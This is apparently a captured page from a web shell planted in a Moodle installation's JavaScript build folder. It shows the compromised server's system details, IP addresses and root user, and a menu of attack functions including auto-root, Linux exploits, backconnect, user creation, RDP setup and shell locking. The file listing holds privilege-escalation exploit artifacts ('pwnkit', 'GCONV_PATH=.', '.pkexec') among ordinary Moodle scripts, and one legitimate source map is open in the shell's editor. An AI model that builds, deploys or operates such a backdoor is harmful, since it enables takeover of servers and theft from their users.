Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
amd /
build /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
emoji
[ DIR ]
drwxrwxrwx
local
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
adapter.min.js
119.54
KB
-rwxrwxrwx
adapter.min.js.map
288.7
KB
-rwxrwxrwx
addblockmodal.min.js
1.1
KB
-rwxrwxrwx
addblockmodal.min.js.map
3.55
KB
-rwxrwxrwx
ajax.min.js
3.18
KB
-rwxrwxrwx
ajax.min.js.map
13.19
KB
-rwxrwxrwx
auto_rows.min.js
1.28
KB
-rwxrwxrwx
auto_rows.min.js.map
4.69
KB
-rwxrwxrwx
autoscroll.min.js
2.43
KB
-rwxrwxrwx
autoscroll.min.js.map
8.56
KB
-rwxrwxrwx
backoff_timer.min.js
1.51
KB
-rwxrwxrwx
backoff_timer.min.js.map
6.36
KB
-rwxrwxrwx
chart_axis.min.js
2.02
KB
-rwxrwxrwx
chart_axis.min.js.map
9.61
KB
-rwxrwxrwx
chart_bar.min.js
1.14
KB
-rwxrwxrwx
chart_bar.min.js.map
4.34
KB
-rwxrwxrwx
chart_base.min.js
4.27
KB
-rwxrwxrwx
chart_base.min.js.map
15.35
KB
-rwxrwxrwx
chart_builder.min.js
485
B
-rwxrwxrwx
chart_builder.min.js.map
2.15
KB
-rwxrwxrwx
chart_line.min.js
753
B
-rwxrwxrwx
chart_line.min.js.map
2.86
KB
-rwxrwxrwx
chart_output.min.js
352
B
-rwxrwxrwx
chart_output.min.js.map
1.32
KB
-rwxrwxrwx
chart_output_base.min.js
514
B
-rwxrwxrwx
chart_output_base.min.js.map
2.5
KB
-rwxrwxrwx
chart_output_chartjs.min.js
5.03
KB
-rwxrwxrwx
chart_output_chartjs.min.js.ma...
16.37
KB
-rwxrwxrwx
chart_output_htmltable.min.js
1.46
KB
-rwxrwxrwx
chart_output_htmltable.min.js....
4.91
KB
-rwxrwxrwx
chart_pie.min.js
1.23
KB
-rwxrwxrwx
chart_pie.min.js.map
4.36
KB
-rwxrwxrwx
chart_series.min.js
3.22
KB
-rwxrwxrwx
chart_series.min.js.map
11.41
KB
-rwxrwxrwx
chartjs-lazy.min.js
295.92
KB
-rwxrwxrwx
chartjs-lazy.min.js.map
989.07
KB
-rwxrwxrwx
chartjs.min.js
297
B
-rwxrwxrwx
chartjs.min.js.map
1.11
KB
-rwxrwxrwx
checkbox-toggleall.min.js
4.68
KB
-rwxrwxrwx
checkbox-toggleall.min.js.map
16.67
KB
-rwxrwxrwx
config.min.js
350
B
-rwxrwxrwx
config.min.js.map
1.25
KB
-rwxrwxrwx
custom_interaction_events.min....
7.01
KB
-rwxrwxrwx
custom_interaction_events.min....
28.85
KB
-rwxrwxrwx
dragdrop.min.js
4.2
KB
-rwxrwxrwx
dragdrop.min.js.map
16.91
KB
-rwxrwxrwx
drawer.min.js
2.93
KB
-rwxrwxrwx
drawer.min.js.map
4.65
KB
-rwxrwxrwx
drawer_events.min.js
291
B
-rwxrwxrwx
drawer_events.min.js.map
1.17
KB
-rwxrwxrwx
event.min.js
1.41
KB
-rwxrwxrwx
event.min.js.map
5.44
KB
-rwxrwxrwx
first.min.js
742
B
-rwxrwxrwx
first.min.js.map
1.73
KB
-rwxrwxrwx
form-autocomplete.min.js
19.36
KB
-rwxrwxrwx
form-autocomplete.min.js.map
67.45
KB
-rwxrwxrwx
form-cohort-selector.min.js
1.08
KB
-rwxrwxrwx
form-cohort-selector.min.js.ma...
3.72
KB
-rwxrwxrwx
form-course-selector.min.js
1.78
KB
-rwxrwxrwx
form-course-selector.min.js.ma...
5.7
KB
-rwxrwxrwx
fragment.min.js
1.6
KB
-rwxrwxrwx
fragment.min.js.map
6.12
KB
-rwxrwxrwx
fullscreen.min.js
524
B
-rwxrwxrwx
fullscreen.min.js.map
2.08
KB
-rwxrwxrwx
icon_system.min.js
595
B
-rwxrwxrwx
icon_system.min.js.map
3.05
KB
-rwxrwxrwx
icon_system_fontawesome.min.js
1.79
KB
-rwxrwxrwx
icon_system_fontawesome.min.js...
5.82
KB
-rwxrwxrwx
icon_system_standard.min.js
927
B
-rwxrwxrwx
icon_system_standard.min.js.ma...
3.21
KB
-rwxrwxrwx
inplace_editable.min.js
6.77
KB
-rwxrwxrwx
inplace_editable.min.js.map
19.34
KB
-rwxrwxrwx
key_codes.min.js
532
B
-rwxrwxrwx
key_codes.min.js.map
1.66
KB
-rwxrwxrwx
loadingicon.min.js
1.31
KB
-rwxrwxrwx
loadingicon.min.js.map
4.93
KB
-rwxrwxrwx
localstorage.min.js
610
B
-rwxrwxrwx
localstorage.min.js.map
2.54
KB
-rwxrwxrwx
log.min.js
793
B
-rwxrwxrwx
log.min.js.map
2.31
KB
-rwxrwxrwx
loglevel.min.js
4.7
KB
-rwxrwxrwx
loglevel.min.js.map
13.69
KB
-rwxrwxrwx
modal.min.js
11.62
KB
-rwxrwxrwx
modal.min.js.map
39.99
KB
-rwxrwxrwx
modal_backdrop.min.js
1.88
KB
-rwxrwxrwx
modal_backdrop.min.js.map
6.11
KB
-rwxrwxrwx
modal_cancel.min.js
3.76
KB
-rwxrwxrwx
modal_cancel.min.js.map
1.83
KB
-rwxrwxrwx
modal_events.min.js
521
B
-rwxrwxrwx
modal_events.min.js.map
1.57
KB
-rwxrwxrwx
modal_factory.min.js
4.68
KB
-rwxrwxrwx
modal_factory.min.js.map
11.17
KB
-rwxrwxrwx
modal_registry.min.js
895
B
-rwxrwxrwx
modal_registry.min.js.map
3.07
KB
-rwxrwxrwx
modal_save_cancel.min.js
4.12
KB
-rwxrwxrwx
modal_save_cancel.min.js.map
2.75
KB
-rwxrwxrwx
mustache.min.js
11.31
KB
-rwxrwxrwx
mustache.min.js.map
37.6
KB
-rwxrwxrwx
network.min.js
2.51
KB
-rwxrwxrwx
network.min.js.map
9.12
KB
-rwxrwxrwx
notification.min.js
13.12
KB
-rwxrwxrwx
notification.min.js.map
12.73
KB
-rwxrwxrwx
page_global.min.js
1.68
KB
-rwxrwxrwx
page_global.min.js.map
6.83
KB
-rwxrwxrwx
paged_content.min.js
1.21
KB
-rwxrwxrwx
paged_content.min.js.map
3.81
KB
-rwxrwxrwx
paged_content_events.min.js
544
B
-rwxrwxrwx
paged_content_events.min.js.ma...
1.5
KB
-rwxrwxrwx
paged_content_factory.min.js
5.5
KB
-rwxrwxrwx
paged_content_factory.min.js.m...
26.16
KB
-rwxrwxrwx
paged_content_pages.min.js
3.47
KB
-rwxrwxrwx
paged_content_pages.min.js.map
15.14
KB
-rwxrwxrwx
paged_content_paging_bar.min.j...
8.3
KB
-rwxrwxrwx
paged_content_paging_bar.min.j...
27.47
KB
-rwxrwxrwx
paged_content_paging_bar_limit...
1.04
KB
-rwxrwxrwx
paged_content_paging_bar_limit...
3.28
KB
-rwxrwxrwx
paged_content_paging_dropdown....
2.5
KB
-rwxrwxrwx
paged_content_paging_dropdown....
9.79
KB
-rwxrwxrwx
pending.min.js
614
B
-rwxrwxrwx
pending.min.js.map
2.1
KB
-rwxrwxrwx
permissionmanager.min.js
4.77
KB
-rwxrwxrwx
permissionmanager.min.js.map
14.16
KB
-rwxrwxrwx
popover_region_controller.min....
6.03
KB
-rwxrwxrwx
popover_region_controller.min....
17.32
KB
-rwxrwxrwx
popper.min.js
32.51
KB
-rwxrwxrwx
popper.min.js.map
108.7
KB
-rwxrwxrwx
prefetch.min.js
4.93
KB
-rwxrwxrwx
prefetch.min.js.map
6.41
KB
-rwxrwxrwx
pubsub.min.js
1.04
KB
-rwxrwxrwx
pubsub.min.js.map
2.81
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
search-input.min.js
1.04
KB
-rwxrwxrwx
search-input.min.js.map
4.22
KB
-rwxrwxrwx
sessionstorage.min.js
744
B
-rwxrwxrwx
sessionstorage.min.js.map
2.69
KB
-rwxrwxrwx
showhidesettings.min.js
3.9
KB
-rwxrwxrwx
showhidesettings.min.js.map
15.59
KB
-rwxrwxrwx
sortable_list.min.js
14.2
KB
-rwxrwxrwx
sortable_list.min.js.map
41.31
KB
-rwxrwxrwx
storagewrapper.min.js
1.73
KB
-rwxrwxrwx
storagewrapper.min.js.map
6.77
KB
-rwxrwxrwx
str.min.js
4.05
KB
-rwxrwxrwx
str.min.js.map
8.54
KB
-rwxrwxrwx
tag.min.js
9.39
KB
-rwxrwxrwx
tag.min.js.map
28.06
KB
-rwxrwxrwx
templates.min.js
15.01
KB
-rwxrwxrwx
templates.min.js.map
63.96
KB
-rwxrwxrwx
toast.min.js
4.51
KB
-rwxrwxrwx
toast.min.js.map
3.71
KB
-rwxrwxrwx
tooltip.min.js
1.92
KB
-rwxrwxrwx
tooltip.min.js.map
6.09
KB
-rwxrwxrwx
tree.min.js
6.81
KB
-rwxrwxrwx
tree.min.js.map
24.05
KB
-rwxrwxrwx
truncate.min.js
2.69
KB
-rwxrwxrwx
truncate.min.js.map
9.47
KB
-rwxrwxrwx
url.min.js
1.31
KB
-rwxrwxrwx
url.min.js.map
4.94
KB
-rwxrwxrwx
user_date.min.js
2.22
KB
-rwxrwxrwx
user_date.min.js.map
11.96
KB
-rwxrwxrwx
userfeedback.min.js
1.79
KB
-rwxrwxrwx
userfeedback.min.js.map
4.19
KB
-rwxrwxrwx
utils.min.js
843
B
-rwxrwxrwx
utils.min.js.map
3.31
KB
-rwxrwxrwx
yui.min.js
425
B
-rwxrwxrwx
yui.min.js.map
1.32
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : network.min.js.map
{"version":3,"file":"network.min.js","sources":["../src/network.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle. If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * Poll the server to keep the session alive.\n *\n * @module core/network\n * @package core\n * @copyright 2019 Damyon Wiese\n * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\ndefine(['jquery', 'core/ajax', 'core/config', 'core/notification', 'core/str'],\n function($, Ajax, Config, Notification, Str) {\n\n var started = false;\n var warningDisplayed = false;\n var keepAliveFrequency = 0;\n var requestTimeout = 0;\n var keepAliveMessage = false;\n var sessionTimeout = false;\n // 1/10 of session timeout, max of 10 minutes.\n var checkFrequency = Math.min((Config.sessiontimeout / 10), 600) * 1000;\n // 1/5 of sessiontimeout.\n var warningLimit = checkFrequency * 2;\n\n /**\n * The session time has expired - we can't extend it now.\n */\n var timeoutSessionExpired = function() {\n sessionTimeout = true;\n };\n\n /**\n * Ping the server to keep the session alive.\n *\n * @return {Promise}\n */\n var touchSession = function() {\n var request = {\n methodname: 'core_session_touch',\n args: { }\n };\n\n if (sessionTimeout) {\n // We timed out before we extended the session.\n return Str.get_strings([\n {key: 'sessionexpired', component: 'error'},\n {key: 'sessionerroruser', component: 'error'}\n ]).then(function(strings) {\n Notification.alert(\n strings[0], // Title.\n strings[1] // Message.\n );\n return true;\n }).fail(Notification.exception);\n } else {\n return Ajax.call([request], true, true, false, requestTimeout)[0].then(function() {\n if (keepAliveFrequency > 0) {\n setTimeout(touchSession, keepAliveFrequency);\n }\n return true;\n }).fail(function() {\n Notification.alert('', keepAliveMessage);\n });\n }\n };\n\n /**\n * Ask the server how much time is remaining in this session and\n * show confirm/cancel notifications if the session is about to run out.\n *\n * @return {Promise}\n */\n var checkSession = function() {\n var request = {\n methodname: 'core_session_time_remaining',\n args: { }\n };\n\n sessionTimeout = false;\n return Ajax.call([request], true, true, true)[0].then(function(args) {\n if (args.userid <= 0) {\n return false;\n }\n if (args.timeremaining < 0) {\n Str.get_strings([\n {key: 'sessionexpired', component: 'error'},\n {key: 'sessionerroruser', component: 'error'}\n ]).then(function(strings) {\n Notification.alert(\n strings[0], // Title.\n strings[1] // Message.\n );\n return true;\n }).fail(Notification.exception);\n\n } else if (args.timeremaining * 1000 < warningLimit && !warningDisplayed) {\n // If we don't extend the session before the timeout - warn.\n setTimeout(timeoutSessionExpired, args.timeremaining * 1000);\n warningDisplayed = true;\n Str.get_strings([\n {key: 'norecentactivity', component: 'moodle'},\n {key: 'sessiontimeoutsoon', component: 'moodle'},\n {key: 'extendsession', component: 'moodle'},\n {key: 'cancel', component: 'moodle'}\n ]).then(function(strings) {\n Notification.confirm(\n strings[0], // Title.\n strings[1], // Message.\n strings[2], // Extend session.\n strings[3], // Cancel.\n function() {\n touchSession();\n warningDisplayed = false;\n // First wait is half the session timeout.\n setTimeout(checkSession, checkFrequency * 5);\n return true;\n },\n function() {\n warningDisplayed = false;\n setTimeout(checkSession, checkFrequency);\n }\n );\n return true;\n }).fail(Notification.exception);\n } else {\n setTimeout(checkSession, checkFrequency);\n }\n return true;\n });\n // We do not catch the fails from the above ajax call because they will fail when\n // we are not logged in - we don't need to take any action then.\n };\n\n /**\n * Start calling a function to check if the session is still alive.\n */\n var start = function() {\n if (keepAliveFrequency > 0) {\n setTimeout(touchSession, keepAliveFrequency);\n } else {\n // First wait is half the session timeout.\n setTimeout(checkSession, checkFrequency * 5);\n }\n };\n\n /**\n * Don't allow more than one of these polling loops in a single page.\n */\n var init = function() {\n // We only allow one concurrent instance of this checker.\n if (started) {\n return;\n }\n started = true;\n\n start();\n };\n\n /**\n * Start polling with more specific values for the frequency, timeout and message.\n *\n * @param {number} freq How ofter to poll the server.\n * @param {number} timeout The time to wait for each request to the server.\n * @param {string} message The message to display if the session is going to time out.\n */\n var keepalive = function(freq, timeout, message) {\n // We only allow one concurrent instance of this checker.\n if (started) {\n return;\n }\n started = true;\n\n keepAliveFrequency = freq * 1000;\n keepAliveMessage = message;\n requestTimeout = timeout * 1000;\n start();\n };\n\n return {\n keepalive: keepalive,\n init: init\n };\n});\n"],"names":["define","$","Ajax","Config","Notification","Str","started","warningDisplayed","keepAliveFrequency","requestTimeout","keepAliveMessage","sessionTimeout","checkFrequency","Math","min","sessiontimeout","warningLimit","timeoutSessionExpired","touchSession","get_strings","key","component","then","strings","alert","fail","exception","call","methodname","args","setTimeout","checkSession","userid","timeremaining","confirm","start","keepalive","freq","timeout","message","init"],"mappings":";;;;;;;;AAuBAA,sBAAO,CAAC,SAAU,YAAa,cAAe,oBAAqB,aAC3D,SAASC,EAAGC,KAAMC,OAAQC,aAAcC,SAExCC,SAAU,EACVC,kBAAmB,EACnBC,mBAAqB,EACrBC,eAAiB,EACjBC,kBAAmB,EACnBC,gBAAiB,EAEjBC,eAA+D,IAA9CC,KAAKC,IAAKX,OAAOY,eAAiB,GAAK,KAExDC,aAAgC,EAAjBJ,eAKfK,sBAAwB,WACxBN,gBAAiB,GAQjBO,aAAe,SAAfA,sBAMIP,eAEON,IAAIc,YAAY,CACnB,CAACC,IAAK,iBAAkBC,UAAW,SACnC,CAACD,IAAK,mBAAoBC,UAAW,WACtCC,MAAK,SAASC,gBACbnB,aAAaoB,MACTD,QAAQ,GACRA,QAAQ,KAEL,KACRE,KAAKrB,aAAasB,WAEdxB,KAAKyB,KAAK,CAlBP,CACVC,WAAY,qBACZC,KAAM,MAgBsB,GAAM,GAAM,EAAOpB,gBAAgB,GAAGa,MAAK,kBAC/Dd,mBAAqB,GACrBsB,WAAWZ,aAAcV,qBAEtB,KACRiB,MAAK,WACJrB,aAAaoB,MAAM,GAAId,sBAW/BqB,aAAe,SAAfA,sBAMApB,gBAAiB,EACVT,KAAKyB,KAAK,CANH,CACVC,WAAY,8BACZC,KAAM,MAIkB,GAAM,GAAM,GAAM,GAAGP,MAAK,SAASO,cACvDA,KAAKG,QAAU,KAGfH,KAAKI,cAAgB,EACrB5B,IAAIc,YAAY,CACZ,CAACC,IAAK,iBAAkBC,UAAW,SACnC,CAACD,IAAK,mBAAoBC,UAAW,WACtCC,MAAK,SAASC,gBACbnB,aAAaoB,MACTD,QAAQ,GACRA,QAAQ,KAEL,KACRE,KAAKrB,aAAasB,WAEO,IAArBG,KAAKI,cAAuBjB,eAAiBT,kBAEpDuB,WAAWb,sBAA4C,IAArBY,KAAKI,eACvC1B,kBAAmB,EACnBF,IAAIc,YAAY,CACZ,CAACC,IAAK,mBAAoBC,UAAW,UACrC,CAACD,IAAK,qBAAsBC,UAAW,UACvC,CAACD,IAAK,gBAAiBC,UAAW,UAClC,CAACD,IAAK,SAAUC,UAAW,YAC5BC,MAAK,SAASC,gBACbnB,aAAa8B,QACTX,QAAQ,GACRA,QAAQ,GACRA,QAAQ,GACRA,QAAQ,IACR,kBACIL,eACAX,kBAAmB,EAEnBuB,WAAWC,aAA+B,EAAjBnB,iBAClB,KAEX,WACIL,kBAAmB,EACnBuB,WAAWC,aAAcnB,oBAG1B,KACRa,KAAKrB,aAAasB,YAErBI,WAAWC,aAAcnB,iBAEtB,OASXuB,MAAQ,WACJ3B,mBAAqB,EACrBsB,WAAWZ,aAAcV,oBAGzBsB,WAAWC,aAA+B,EAAjBnB,uBAqC1B,CACHwB,UAdY,SAASC,KAAMC,QAASC,SAEhCjC,UAGJA,SAAU,EAEVE,mBAA4B,IAAP6B,KACrB3B,iBAAmB6B,QACnB9B,eAA2B,IAAV6B,QACjBH,UAKAK,KAhCO,WAEHlC,UAGJA,SAAU,EAEV6B"}
Close